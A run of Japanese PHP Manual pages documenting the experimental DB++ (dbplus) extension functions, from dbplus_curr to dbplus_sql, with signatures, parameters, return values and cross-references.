dbplus_curr

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_curr — リレーションからカレントタプルを取得する

説明

dbplus_curr ( resource $relation , array &$tuple ) : int

指定した relation について、カレントタプルに関するデータを読み込みます。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

データがこのパラメータに連想配列として返されます。

返り値

この関数は、成功時にゼロ (すなわち DBPLUS_ERR_NOERR)、失敗時に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_first() - リレーションから最初のタプルを取得する
  • dbplus_prev() - リレーションから前のタプルを取得する
  • dbplus_next() - リレーションから次のタプルを取得する
  • dbplus_last() - リレーションから直近のタプルを取得する
  • dbplus_errcode() - 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

  • ≪ dbplus_curr
  • dbplus_errno ≫
  • PHP Manual
  • DB++ 関数
  • 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

dbplus_errcode

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_errcode — 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

説明

dbplus_errcode ( int $errno = ? ) : string

指定したエラーコードに対応するエラー文字列を返します。

パラメータ

errno

エラーコード。指定しなかった場合は、直近の db++ 操作の結果コードを使用します。

返り値

エラーメッセージを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


直近の操作に関するエラーコードを取得する

  • ≪ dbplus_errcode
  • dbplus_find ≫
  • PHP Manual
  • DB++ 関数
  • 直近の操作に関するエラーコードを取得する

dbplus_errno

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_errno — 直近の操作に関するエラーコードを取得する

説明

dbplus_errno ( ) : int

直近の db++ 操作からのエラーコードを返します。

返り値

エラーコードを表す整数値を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_errcode() - 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

User Contributed Notes

There are no user contributed notes for this page.


リレーションに拘束を設定する

  • ≪ dbplus_errno
  • dbplus_first ≫
  • PHP Manual
  • DB++ 関数
  • リレーションに拘束を設定する

dbplus_find

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_find — リレーションに拘束を設定する

説明

dbplus_find ( resource $relation , array $constraints , mixed $tuple ) : int

指定したリレーション relation に拘束を設定します。

この後、dbplus_curr() または dbplus_next() のような関数をコールすると、 指定した拘束にマッチするタプルのみが取得されます。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

constraints

拘束は、ドメイン名、比較演算子、比較値を含む複合文字列です。 パラメータ配列 constraints は文字列の配列で、 この各要素は、ドメイン、演算子、値を含むか、 複数の三要素からなる文字列の配列です。

比較演算子は、以下の文字列のどれかとなります。 正規表現による検索には、'==', '>', '>=', '<', '<=', '!=', '~'、ビット演算には 'BAND' または 'BOR' を使用します。

tuple

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_unselect() - リレーションから制約を削除する

User Contributed Notes

There are no user contributed notes for this page.


リレーションから最初のタプルを取得する

  • ≪ dbplus_find
  • dbplus_flush ≫
  • PHP Manual
  • DB++ 関数
  • リレーションから最初のタプルを取得する

dbplus_first

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_first — リレーションから最初のタプルを取得する

説明

dbplus_first ( resource $relation , array &$tuple ) : int

指定したリレーション relation の最初のタプルのデータを読み込み、 連想配列として tuple に返します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_curr() - リレーションからカレントタプルを取得する
  • dbplus_prev() - リレーションから前のタプルを取得する
  • dbplus_next() - リレーションから次のタプルを取得する
  • dbplus_last() - リレーションから直近のタプルを取得する
  • dbplus_errcode() - 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

User Contributed Notes

There are no user contributed notes for this page.


リレーションに行った全ての変更をフラッシュする

  • ≪ dbplus_first
  • dbplus_freealllocks ≫
  • PHP Manual
  • DB++ 関数
  • リレーションに行った全ての変更をフラッシュする

dbplus_flush

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_flush — リレーションに行った全ての変更をフラッシュする

説明

dbplus_flush ( resource $relation ) : int

直近のフラッシュ以降にリレーション relation に適用されたすべての変更をディスクに書き込みます。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_errcode() - 指定したエラーコードまたは直近のエラーに関するエラー文字列を取得する

User Contributed Notes

There are no user contributed notes for this page.


このクライアントにより保持された全てのロックを解放する

  • ≪ dbplus_flush
  • dbplus_freelock ≫
  • PHP Manual
  • DB++ 関数
  • このクライアントにより保持された全てのロックを解放する

dbplus_freealllocks

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_freealllocks — このクライアントにより保持された全てのロックを解放する

説明

dbplus_freealllocks ( ) : int

このクライアントによりロックされたタプルを全て解放します。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_getlock() - タプルの書き込みロックを取得する
  • dbplus_freelock() - タプルの書き込みロックを解放する
  • dbplus_freerlocks() - 指定したリレーションに関する全てのタプルロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


タプルの書き込みロックを解放する

  • ≪ dbplus_freealllocks
  • dbplus_freerlocks ≫
  • PHP Manual
  • DB++ 関数
  • タプルの書き込みロックを解放する

dbplus_freelock

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_freelock — タプルの書き込みロックを解放する

説明

dbplus_freelock ( resource $relation , string $tuple ) : int

dbplus_getlock() より以前に得た指定 tuple の書き込みロックを解放します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_getlock() - タプルの書き込みロックを取得する
  • dbplus_freerlocks() - 指定したリレーションに関する全てのタプルロックを解放する
  • dbplus_freealllocks() - このクライアントにより保持された全てのロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


指定したリレーションに関する全てのタプルロックを解放する

  • ≪ dbplus_freelock
  • dbplus_getlock ≫
  • PHP Manual
  • DB++ 関数
  • 指定したリレーションに関する全てのタプルロックを解放する

dbplus_freerlocks

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_freerlocks — 指定したリレーションに関する全てのタプルロックを解放する

説明

dbplus_freerlocks ( resource $relation ) : int

指定した relation で保持されている全てのタプルロックを解放します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_getlock() - タプルの書き込みロックを取得する
  • dbplus_freelock() - タプルの書き込みロックを解放する
  • dbplus_freealllocks() - このクライアントにより保持された全てのロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


タプルの書き込みロックを取得する

  • ≪ dbplus_freerlocks
  • dbplus_getunique ≫
  • PHP Manual
  • DB++ 関数
  • タプルの書き込みロックを取得する

dbplus_getlock

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_getlock — タプルの書き込みロックを取得する

説明

dbplus_getlock ( resource $relation , string $tuple ) : int

指定した tuple へ書き込みロックを要求します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

成功時にゼロ、失敗時にゼロでないコード、特に DBPLUS_ERR_WLOCKED を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_freelock() - タプルの書き込みロックを解放する
  • dbplus_freerlocks() - 指定したリレーションに関する全てのタプルロックを解放する
  • dbplus_freealllocks() - このクライアントにより保持された全てのロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


あるリレーションのユニークな ID 番号を取得する

  • ≪ dbplus_getlock
  • dbplus_info ≫
  • PHP Manual
  • DB++ 関数
  • あるリレーションのユニークな ID 番号を取得する

dbplus_getunique

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_getunique — あるリレーションのユニークな ID 番号を取得する

説明

dbplus_getunique ( resource $relation , int $uniqueid ) : int

指定した relation に関してユニークであることが保証 された数を取得し、uniqueid で指定した変数にその数を代入します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

uniqueid

返り値

成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションについての情報を取得する

  • ≪ dbplus_getunique
  • dbplus_last ≫
  • PHP Manual
  • DB++ 関数
  • リレーションについての情報を取得する

dbplus_info

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_info — リレーションについての情報を取得する

説明

dbplus_info ( resource $relation , string $key , array &$result ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() が返すリレーション。

key

result

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションから直近のタプルを取得する

  • ≪ dbplus_info
  • dbplus_lockrel ≫
  • PHP Manual
  • DB++ 関数
  • リレーションから直近のタプルを取得する

dbplus_last

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_last — リレーションから直近のタプルを取得する

説明

dbplus_last ( resource $relation , array &$tuple ) : int

指定した relation から直近のタプルに関するデータを読み込み、 tuple に連想配列として代入します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。 code on failure.

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_first() - リレーションから最初のタプルを取得する
  • dbplus_curr() - リレーションからカレントタプルを取得する
  • dbplus_prev() - リレーションから前のタプルを取得する
  • dbplus_next() - リレーションから次のタプルを取得する

User Contributed Notes

There are no user contributed notes for this page.


リレーションに書き込みロックを要求する

  • ≪ dbplus_last
  • dbplus_next ≫
  • PHP Manual
  • DB++ 関数
  • リレーションに書き込みロックを要求する

dbplus_lockrel

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_lockrel — リレーションに書き込みロックを要求する

説明

dbplus_lockrel ( resource $relation ) : int

指定した relation に書き込みロックを要求します。

他のクライアントからリレーションに対してクエリを実行することはできますが、 ロックされている間は更新できません。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションから次のタプルを取得する

  • ≪ dbplus_lockrel
  • dbplus_open ≫
  • PHP Manual
  • DB++ 関数
  • リレーションから次のタプルを取得する

dbplus_next

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_next — リレーションから次のタプルを取得する

説明

dbplus_next ( resource $relation , array &$tuple ) : int

指定した relation の次のタプルからデータを読み込み、 tuple に連想配列として返します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_first() - リレーションから最初のタプルを取得する
  • dbplus_curr() - リレーションからカレントタプルを取得する
  • dbplus_prev() - リレーションから前のタプルを取得する
  • dbplus_last() - リレーションから直近のタプルを取得する

User Contributed Notes

There are no user contributed notes for this page.


リレーションファイルをオープンする

  • ≪ dbplus_next
  • dbplus_prev ≫
  • PHP Manual
  • DB++ 関数
  • リレーションファイルをオープンする

dbplus_open

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_open — リレーションファイルをオープンする

説明

dbplus_open ( string $name ) : resource

指定したリレーションファイルをオープンします。

パラメータ

name

ファイル名またはリレーション、絶対パス名とします。 これは、指定したパス名及びサーバー上の絶対リレーションファイル パス名を常にマップします。

返り値

成功時にリレーションファイルリソース(カーソル)が返されます。これは、 このリレーションを参照する以降の全てのコマンドで使用されます。 失敗時にはゼロが返されます。実際のエラーコードは、 dbplus_errno() により取得可能です。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションから前のタプルを取得する

  • ≪ dbplus_open
  • dbplus_rchperm ≫
  • PHP Manual
  • DB++ 関数
  • リレーションから前のタプルを取得する

dbplus_prev

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_prev — リレーションから前のタプルを取得する

説明

dbplus_prev ( resource $relation , array &$tuple ) : int

指定した relation から前のタプルのデータを読み込み、 tuple に連想配列として返します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

成功した場合に DBPLUS_ERR_NOERR、 失敗した場合に db++ エラーコードを返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_first() - リレーションから最初のタプルを取得する
  • dbplus_curr() - リレーションからカレントタプルを取得する
  • dbplus_next() - リレーションから次のタプルを取得する
  • dbplus_last() - リレーションから直近のタプルを取得する

User Contributed Notes

There are no user contributed notes for this page.


リレーションの許可属性を変更する

  • ≪ dbplus_prev
  • dbplus_rcreate ≫
  • PHP Manual
  • DB++ 関数
  • リレーションの許可属性を変更する

dbplus_rchperm

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rchperm — リレーションの許可属性を変更する

説明

dbplus_rchperm ( resource $relation , int $mask , string $user , string $group ) : int

mask, user,group で 指定した許可属性に変更します。これらの値はオペレーティングシステムに依存します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

mask

user

group

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


新しい DB++ リレーションを作成する

  • ≪ dbplus_rchperm
  • dbplus_rcrtexact ≫
  • PHP Manual
  • DB++ 関数
  • 新しい DB++ リレーションを作成する

dbplus_rcreate

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rcreate — 新しい DB++ リレーションを作成する

説明

dbplus_rcreate ( string $name , mixed $domlist , bool $overwrite = ? ) : resource

新しいリレーションを作成します。同名の既存のリレーションは、 そのリレーションが現在使用されておらず、 overwrite に TRUE が設定されている場合にのみ上書きされます。

パラメータ

name

domlist

ドメインの組み合わせ。単一のドメイン名を表す文字列か、 ドメイン名の配列となります。

このパラメータにはドメインを示す文字列の配列で 新規リレーションのドメインを指定する必要があります。 ドメイン指定文字列は、このリレーションへのユニークなドメイン名、スラッシュ、 型指定文字からなります。利用可能な型指定子及びその意味については、 db++ のドキュメント、特に dbcreate(1) のマニュアルを参照ください。

注意:

この関数には、複数のドメインを空白で区切った文字列を指定することもできます。 しかし、配列を使用することを推奨します。

overwrite

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


インデックスを含む、リレーションの空のコピーを作成する

  • ≪ dbplus_rcreate
  • dbplus_rcrtlike ≫
  • PHP Manual
  • DB++ 関数
  • インデックスを含む、リレーションの空のコピーを作成する

dbplus_rcrtexact

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rcrtexact — インデックスを含む、リレーションの空のコピーを作成する

説明

dbplus_rcrtexact ( string $name , resource $relation , bool $overwrite = ? ) : mixed

dbplus_rcrtexact() は、 指定した relation の空のコピーを name という名前で作成します。

パラメータ

name

relation

コピーするリレーション。dbplus_open() でオープンしたもの。

overwrite

このパラメータが true であり 他のプロセスがそのリレーションを使用していない場合にのみ、 同じ名前の既存のリレーションが上書きされます。

返り値

成功した場合にリソース、失敗した場合に DBPLUS_ERR_UNKNOWN を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのインデックスで、リレーションの空のコピーを作成する

  • ≪ dbplus_rcrtexact
  • dbplus_resolve ≫
  • PHP Manual
  • DB++ 関数
  • デフォルトのインデックスで、リレーションの空のコピーを作成する

dbplus_rcrtlike

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rcrtlike — デフォルトのインデックスで、リレーションの空のコピーを作成する

説明

dbplus_rcrtlike ( string $name , resource $relation , int $overwrite = ? ) : mixed

dbplus_rcrtlike() は、 指定した relation の空のコピーを name という名前で作成しますが、デフォルトの インデックスを使用します。

パラメータ

name

relation

コピーするリレーション。dbplus_open() でオープンしたもの。

overwrite

このパラメータが true であり 他のプロセスがそのリレーションを使用していない場合にのみ、 同じ名前の既存のリレーションが上書きされます。

返り値

成功した場合にリソース、失敗した場合に DBPLUS_ERR_UNKNOWN を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションのホスト情報を取得する

  • ≪ dbplus_rcrtlike
  • dbplus_restorepos ≫
  • PHP Manual
  • DB++ 関数
  • リレーションのホスト情報を取得する

dbplus_resolve

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_resolve — リレーションのホスト情報を取得する

説明

dbplus_resolve ( string $relation_name ) : array

dbplus_resolve() は指定された relation_name を解決し、内部サーバー ID・ 実際のホスト名およびホスト上のデータベースのパスを取得します。

パラメータ

relation_name

リレーション名。

返り値

キー sid、host および host_path を含む配列、あるいはエラー時に false を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_tcl() - サーバー側で TCL コードを実行する

User Contributed Notes

There are no user contributed notes for this page.


位置を復元する

  • ≪ dbplus_resolve
  • dbplus_rkeys ≫
  • PHP Manual
  • DB++ 関数
  • 位置を復元する

dbplus_restorepos

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_restorepos — 位置を復元する

説明

dbplus_restorepos ( resource $relation , array $tuple ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションの主キーを新規に指定する

  • ≪ dbplus_restorepos
  • dbplus_ropen ≫
  • PHP Manual
  • DB++ 関数
  • リレーションの主キーを新規に指定する

dbplus_rkeys

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rkeys — リレーションの主キーを新規に指定する

説明

dbplus_rkeys ( resource $relation , mixed $domlist ) : mixed

dbplus_rkeys() は、 relation に指定された現在の主キーを、 domlist で指定されたドメインに変更します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

domlist

ドメインの組み合わせ。ドメイン名を含む文字列あるいは 複数のドメイン名を含む配列を渡します。

返り値

成功した場合にリソース、失敗した場合に DBPLUS_ERR_UNKNOWN を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションファイルをローカルにオープンする

  • ≪ dbplus_rkeys
  • dbplus_rquery ≫
  • PHP Manual
  • DB++ 関数
  • リレーションファイルをローカルにオープンする

dbplus_ropen

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_ropen — リレーションファイルをローカルにオープンする

説明

dbplus_ropen ( string $name ) : resource

dbplus_ropen() は、クライアント/サーバー間の オーバーヘッドを防いですばやくアクセスするために、リレーション file をローカルにオープンします。 アクセスは読み込み専用となり、返されるリレーションを利用できるのは dbplus_curr() および dbplus_next() のみとなります。

パラメータ

name

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ローカル (raw) AQL クエリを実行する

  • ≪ dbplus_ropen
  • dbplus_rrename ≫
  • PHP Manual
  • DB++ 関数
  • ローカル (raw) AQL クエリを実行する

dbplus_rquery

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rquery — ローカル (raw) AQL クエリを実行する

説明

dbplus_rquery ( string $query , string $dbpath = ? ) : resource

dbplus_rquery() は、db++ クライアントライブラリに組み込まれた AQL インタプリタを使用してローカル(raw) AQL クエリを実行します。 dbplus_rquery() は dbplus_aql() より高速ですが、 ローカルのデータについてのみしか実行できません。

パラメータ

query

dbpath

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションの名前を変更する

  • ≪ dbplus_rquery
  • dbplus_rsecindex ≫
  • PHP Manual
  • DB++ 関数
  • リレーションの名前を変更する

dbplus_rrename

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rrename — リレーションの名前を変更する

説明

dbplus_rrename ( resource $relation , string $name ) : int

dbplus_rrename() は、 relation の名前を name に変更します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

name

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションに新規セカンダリインデックスを作成する

  • ≪ dbplus_rrename
  • dbplus_runlink ≫
  • PHP Manual
  • DB++ 関数
  • リレーションに新規セカンダリインデックスを作成する

dbplus_rsecindex

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rsecindex — リレーションに新規セカンダリインデックスを作成する

説明

dbplus_rsecindex ( resource $relation , mixed $domlist , int $type ) : mixed

dbplus_rsecindex() は、 relation に新しいセカンダリインデックスを作成します。 このインデックスには domlist で指定したドメインが含まれ、型は type です。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

domlist

ドメイン名の組み合わせ。単一のドメイン名を含む文字列あるいは 複数のドメイン名を含む配列を渡します。

type

返り値

成功した場合にリソース、失敗した場合に DBPLUS_ERR_UNKNOWN を返します。

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステムからリレーションを削除する

  • ≪ dbplus_rsecindex
  • dbplus_rzap ≫
  • PHP Manual
  • DB++ 関数
  • ファイルシステムからリレーションを削除する

dbplus_runlink

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_runlink — ファイルシステムからリレーションを削除する

説明

dbplus_runlink ( resource $relation ) : int

dbplus_runlink() は、 relation を閉じて削除します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションから全てのタプルを削除する

  • ≪ dbplus_runlink
  • dbplus_savepos ≫
  • PHP Manual
  • DB++ 関数
  • リレーションから全てのタプルを削除する

dbplus_rzap

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_rzap — リレーションから全てのタプルを削除する

説明

dbplus_rzap ( resource $relation ) : int

dbplus_rzap() は、 relation からタプルをすべて削除します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


位置を保存する

  • ≪ dbplus_rzap
  • dbplus_setindex ≫
  • PHP Manual
  • DB++ 関数
  • 位置を保存する

dbplus_savepos

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_savepos — 位置を保存する

説明

dbplus_savepos ( resource $relation ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


インデックスを設定する

  • ≪ dbplus_savepos
  • dbplus_setindexbynumber ≫
  • PHP Manual
  • DB++ 関数
  • インデックスを設定する

dbplus_setindex

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_setindex — インデックスを設定する

説明

dbplus_setindex ( resource $relation , string $idx_name ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

idx_name

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


インデックスを数字で設定する

  • ≪ dbplus_setindex
  • dbplus_sql ≫
  • PHP Manual
  • DB++ 関数
  • インデックスを数字で設定する

dbplus_setindexbynumber

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_setindexbynumber — インデックスを数字で設定する

説明

dbplus_setindexbynumber ( resource $relation , int $idx_number ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

idx_number

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


SQL クエリを実行する

  • ≪ dbplus_setindexbynumber
  • dbplus_tcl ≫
  • PHP Manual
  • DB++ 関数
  • SQL クエリを実行する

dbplus_sql

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_sql — SQL クエリを実行する

説明

dbplus_sql ( string $query , string $server = ? , string $dbpath = ? ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

query

server

dbpath

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


